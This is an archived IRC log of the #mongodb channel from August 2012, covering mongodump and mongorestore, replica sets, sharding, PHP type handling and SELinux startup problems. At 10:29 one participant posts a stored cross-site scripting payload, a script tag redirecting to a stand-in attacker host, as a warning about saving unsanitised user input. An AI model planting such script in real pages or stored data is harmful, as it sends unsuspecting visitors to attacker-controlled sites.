Log file Viewer
#mongodb logs for Wednesday the 1st of August, 2012
[00:35:52] <y3di> so when doing mongodump -> monorestore all your items in the db have different _ids?
[00:39:13] <y3di> and since the _id is generated based off of time (among other things) i assumed the _id would change
[01:31:24] <y3di> Error creating index production.itemsWed Aug 1 01:30:39 User Assertion: 13111:field not found, expected type 16
[01:32:24] <y3di> http://stackoverflow.com/questions/10712600/mongodump-and-mongorestore-field-not-found
[03:33:59] <arthurnn> i work at 500px . and we start using mongodb a few months ago to store all activities from the site. now we are wondering to start sharding this mongo intance that we have
[04:17:41] <jwilliams> what is the right way to do continue on error if dirver is prior to e.g. 2.8.0?
[05:56:50] <jwilliams> which has WriteConcern, but only version upper than 2.7.x contains continue on error.
[05:57:32] <jwilliams> so i am wandering how to achieve the same effect with the earlier mongo java driver version.
[08:18:10] <shylent> if I create a capped collection with size cap X and create some indexes on it, does index size also get capped by X?
[08:24:57] <NodeX> i/e when a document gets purged from the capped collection it will be purged from the index also
[10:01:25] <circlicious> database has '0' when i fetch it in php i get false, and true for '1' - why is that ?
[10:04:11] <circlicious> somethings are quite weird, i pass in false or true and mongo saves it as string '0' or '1' , whats the reaosn?
[10:11:17] <Rozza> if you test creating a new document in php with a boolean value is it saved as expected?
[10:12:50] <circlicious> and how is it coming right in php land ? lets say if it is '0' and '1' in mongo, it comes out as 'true' and 'false - strings
[10:14:25] <circlicious> i could be wrong actually, jQuery is sending string to server not boolean :|
[10:18:55] <Rozza> so circlicious is it a jQuery / js -> php issue ? or in php are you explicitly setting values to True / False
[10:25:35] <circlicious> so mongo stored strings, and based on the values i tried to do boolean conditional in JS and things got messed up :/
[10:26:02] <circlicious> ye maybe i should, but i am simply storing the data that i get into DB, not messing with it at all.
[10:26:16] <circlicious> maybe i should tweak my jquery code to properly send 0 and 1 as ints not strings
[10:27:33] <circlicious> what kind of sanitizing ? i thought theres no sql injection thingie in mongo, so just storing whatever the user sent was fine in my case.
[10:28:25] <circlicious> basically, i am just allowing any user data for the "preferences" part of each record/document
[10:29:00] <NodeX> store <script>document.location.href='http://my.hacksite.com/exploitme.php'</script>
[10:29:20] <Guest45545> Hi guys. I have a quick question, I'm a newbie to mongo. When I use mongorestore on a set of bson files created by mongobackup where is the database restored to?
[10:30:36] <NodeX> circlicious : that's a really bad way of not only thinking but programming in general
[10:43:15] <neil__g> Some advice, if anyone has a moment: I have a P-S-S replicaset, and due to a run-away import all machines are now sitting at about 90% disk space. I've since deleted the big collection, but Mongo hasn't released the disk space. What's the safest way to free up that disk space? This is in production.
[10:43:54] <Guest45545> NodeX: can you just clarify this for me. If I run mongobackup on my database, can I use mongorestore on the bson files on another server to recreate the database?
[10:58:04] <ankakusu> { "_id" : ObjectId("50190afae4b09264a6cbb19e"), "bla" : ISODate("2011-10-02T20:49:19Z") }
[10:58:50] <circlicious> NodeX: say if you had a field called foo in your documents, that would sometime shave a value and sometimes would not have a value, what would you do when it would not have a value ?
[11:05:19] <circlicious> i guess if i add foo: '' that would end up consuming lots of megabytes with millions of documents
[11:51:29] <jwilliams> but it seems very slow when compared to the previous round, which only 1 mongdump was running.
[12:17:25] <jwilliams> wereHamster: thanks for the explanation. that looks reasonable accounting for why it performs slow.
[13:43:58] <addisonj> http://aws.typepad.com/aws/2012/08/fast-forward-provisioned-iops-ebs.html this is quite exciting, predictable performance from EBS? who woulda thought
[15:20:58] <BurtyB> Anyone know how I can prevent "PHP Fatal error: Uncaught exception 'MongoCursorException' with message 'too many attempts to update config, failing' in " I'm assuming it's because it's moving shards around?
[15:50:35] <cwebb_> i am running mongodump and its speed is very slow (4 hours for only 5% with total docs around 120mm). the previous run for another collection didn't take that long.
[15:51:29] <cwebb_> checking mongostat --discover, not many locked % (usually 0%, several times it may be around 10%).
[16:05:49] <kali> cwebb_: look for faults in mongostat rather than locks. locks are taken only on writes
[16:09:11] <cwebb_> kali: i just notice there is a higher value (around 50~60) in faults column. i guess that's because there is no index created (it was just for testing bulk write. so index will be created later)
[16:10:03] <nemothekid> Anyone here familiar with the mongodb perl driver? It doesn't seem to encode utf-8 strings properly
[16:10:04] <cwebb_> but the another collection whose index was also not created did not take very long to dump around 60g data to disk.
[16:16:11] <scttnlsn> how can i atomically insert a document only if a collection is empty? is this possible with findAndModify?
[16:17:03] <addisonj> cwebb_: we had a weird issue like that, I think we ended up doing a compact and repair then all was okay
[16:19:42] <cwebb_> when running compact, will it have influence e.g. performance if no indexes exist?
[16:19:46] <scttnlsn> addisonj: ok, that's what i though. i've tried all sorts of various things with findAndModify, none of which worked like i wanted
[16:21:03] <lbjay> i'm trying to setup an init.d script for mongo on a centos system that runs using the numactl command. anyone have any examples of this on centos?
[16:21:59] <lbjay> centos doesn't have a start-stop-daemon command, just a shell function called "daemon", so the examples i'm seeing don't work for me
[18:28:54] <SisterArrow> I have a 3 part replica set, and the primay went down, so a secondary took over and data was written to it as it was primary at this point. When i restarted the previous primary(which should be primary aswell) it stays as primary and in the mongo log it says
[18:29:04] <SisterArrow> syncTail: 11000 E11000 duplicate key error index: images.colours.$image_hash_short_1_tpx_code_1 dup key: { : "946aa1fd13", : "16-3907" }, syncing: { ts: Timestamp 1343828841000|6, h: -7441080054905885207, op: "i", ns: "images.colours", o: { _id: ObjectId
[18:30:54] <Almindor> we had a repl error (disk overuse) and we want to move a replicaset to another drive (on linux). I have started re-syncing the slave, but it's not even half-done and we can already put the new drives into the machine. Is it possible to copy the data of the slave so it continues syncing from where it stopped?
[18:32:20] <Almindor> kali: so if you start a full re-sync, stop mongod for it and restart it deletes all data and resyncs again?
[18:49:01] <boll> The primary member of my replicaset is showing a globalLock ratio of ~4.3 and consistently has a 600+ currentQueue.writers value
[19:14:16] <TheSteve0> alright I am working in Python and I want to convert my results from BISON to just JSON - I have spent a couple hours searching around and trying different solutions and I can't get it to work
[19:28:39] <TkTech> find() just returns an iterable cursor that you must traverse, .find_one() returns a dict. json.dumps() takes a dict.
[19:30:13] <dstorrs> I've got a harvester which pulls data from YouTube and inserts it to Mongo. When it first starts, I get excellent insert rates -- 1000+ w/s. Within a few minutes, it drops to ~700 w/s. Then 300. Then 100. Then a few dozen.
[19:30:38] <dstorrs> I've been through my code and I don't see anything to cause this...is there anything on the Mongo side that is a likely culprit?
[19:30:56] <dstorrs> It's 9 machines, each with multiple copies of the harvester proc running in parallel.
[19:33:15] <TheSteve0> TkTech: well that is inconvenient - I was hoping I could just "automagically" give the list to a converter and get back nice clean JSON
[19:34:10] <dstorrs> TheSteve0: I didn't see the beginning of your convo, but you can probably do this: db.coll.find(..).forEach(function(d){ printjson(d) })
[19:35:45] <TheSteve0> TkTech: I didn't say it was confusing I get it - it is just inconvenient - that is all
[19:36:10] <dstorrs> TheSteve0: map your results through a cleaner function that transforms the u' into something else.
[19:39:27] <TheSteve0> TkTech: if I got rid of the u before each string, the string I return is from str(list(find)) is a JSON string - especially since I have no dates in my docuemts
[19:55:43] <nemothekid> So we have about 13 million records in a shared collection to be updated daily in about 4 hours. We've found that the fastest way to do this is to just create a temporary table, do the inserts, then rename & drop. Sadly, you can't rename a shared collection. Obviously our next step was to removes and inserts or just updates. This is _much_ slower. Are there any other options?
[20:04:35] <TheSteve0> TkTech: so I think this is where we go back to http://api.mongodb.org/python/2.2.1/api/bson/json_util.html
[20:06:36] <TheSteve0> TkTech: I tried import bson - but I get:NameError: name 'json_util' is not defined
[20:10:05] <TheSteve0> TkTech: any ideas on where I would put this so some other poor newb like me can find it all collected in one place
[20:10:36] <boll> On a not very heavily loaded sharded database, any obvious reasons that a backlog of 2000 or more write operations sit in the operations queue (db.currentOP())
[20:14:23] <EricL> Does adding a replicaset to a sharded environment (ie the shard) distribute reads?
[20:22:08] <jgornick> Hey guys, does anyone have any insight into how I can write a map/reduce to produce a list of documents that are in a hierarchal tree structure using the child links method? I need to produce a list where I know the ID of a single document and I need to capture all of it's children as well.
[20:24:22] <timoxley> Derick no worries. just a heads up in case everyone was at a barbeque or something
[20:28:21] <jgornick> crudson: I suppose you could look at the sample for child links @ http://www.mongodb.org/display/DOCS/Trees+in+MongoDB#TreesinMongoDB-ChildLinks
[20:28:58] <nofxx> boll, you can use consistency: :strong in a per connection basis, check your driver
[20:29:08] <boll> nofxx: I don't read from the secondary, but it's incredibly handy for robustnes and upgrades
[20:29:51] <crudson> jgornick: emit(parent_id, {children:[_id]}) and push the children together in reduce
[20:30:50] <boll> nofxx: It takes some work choosing which queries can live with possibly delayed replication
[20:40:56] <crudson> jgornick: gl. if you have issues paste some documents and what you are looking to achieve.
[21:07:44] <acidchild> Hello, i added a shard that contains the entire database but i added it as localhost not the IP. how do i change the shard hostname/ip without draining it? because it contains all the data and it's failing to move chunks to the other shard because it's 'localhost' not the IP?
[21:08:00] <acidchild> these are the errors i am getting; http://pastebin.slackadelic.com/p/Ze7Ox045.html
[21:11:40] <emperorcezar> So I'm using mongodb as a mq backend for celery. The program using celery is migrating email. So it's pushing messages into a queue being stored on mongo and them pulling them off and being pushed somewhere else. From my understanding, mongo will just keep growing the db file until I do a repair? My mail size is 2.5 Terrabytes. So I'm concerned about the db becoming huge without repair.
[21:14:58] <TkTech> emperorcezar: While you can use MongoDB as a Queue, it's a really bad usage for such heavy usage.
[21:15:32] <emperorcezar> TkTech: Yea. I was using it because I need to store the messageid and completion flag anyhow
[21:16:42] <TkTech> Lazy is the mark of a quick programmer who won't be around when his program no longer scales :P
[21:17:17] <emperorcezar> This thing better scale off the bat. There's no light usage. Soon as I turn it on, it's going to hammer.
[21:45:53] <nofxxx> Just to make sure I got it right, repairDB(), on new versions will only release free space to the system, so it's not needed to run that in a timely fashion anymore
[22:13:19] <kingsol> hey all… new to mongodb (literally today) - I've followed the guide in the docs, and have searched the google to find my issue to no avail. It is permission related for sure. I am on fedora. I can run "mongod" as root and it fires up. If i run "service mongod start" I get a fail, says it can't write to the log. I've found posts with similar problem… I've checked the permissions for /var/log, /var/log/monogo/ and the file itself, I've done this f
[22:20:01] <kingsol> jY: so does that mean I need to permanently disable selinux? to be honest, I am not intimate with benefit/issues with selinux other then some high level details
[22:20:36] <jY> or figure out how to tell selinux writing to those logs and binding to that port is ok for the mongo user
[22:21:47] <kingsol> is selinux a "strong benefit" or a "nice-to-have" or is it relative to function/role of the machine
[22:23:41] <kingsol> ok… thank you so much… I'll see if I can figure out how to tell selinux to allow mongos user for those files/folders
[22:24:15] <kingsol> jY: Starting mongod (via systemctl): timed out and failed (this would be the first time start up as mongod user…
[22:25:07] <arthurnn> i had a collection .. in one mongod server only.. i added that in a shard cluster .. and I set the shard key to a property that is not unique.
[22:25:42] <jY> kingsol: probably timedout waiting for the process to finish creating the init files
[22:30:12] <arthurnn> and it looks like that .count() is getting smaller and smaller. any reason for it?
[22:32:22] <kingsol> jY: ok, checked the logs… looks like another perm issue I can track down on google "Unable to acquire lock for lockfilepath: /var/lib/mongo/mongod.lock" checking google
[22:36:45] <arthurnn> if I do a stats() in my collection. it looks like that the count the shard0000 is decreasing but the count in shard0001 is not incresing
[22:57:45] <kingsol> jY: still won't start, fixed the locking issue by simply removing the file and letting it be created again… now it is failing because it says the port is in use
[23:01:54] <kingsol> jY: interesting… so it is actually starting just fine now, the service start is hanging it seems as though its not getting a successful message from mongod starting… if i tail -f the log, and start with a service mongod start &, then run mongo, I can connect. If i let it sit long enough the process for the service start terminates with a fail
[23:51:38] <fabiobatalha> Considering that I'll use the $inc modifier, I'll not be able to create complex data structures, just a flat structure.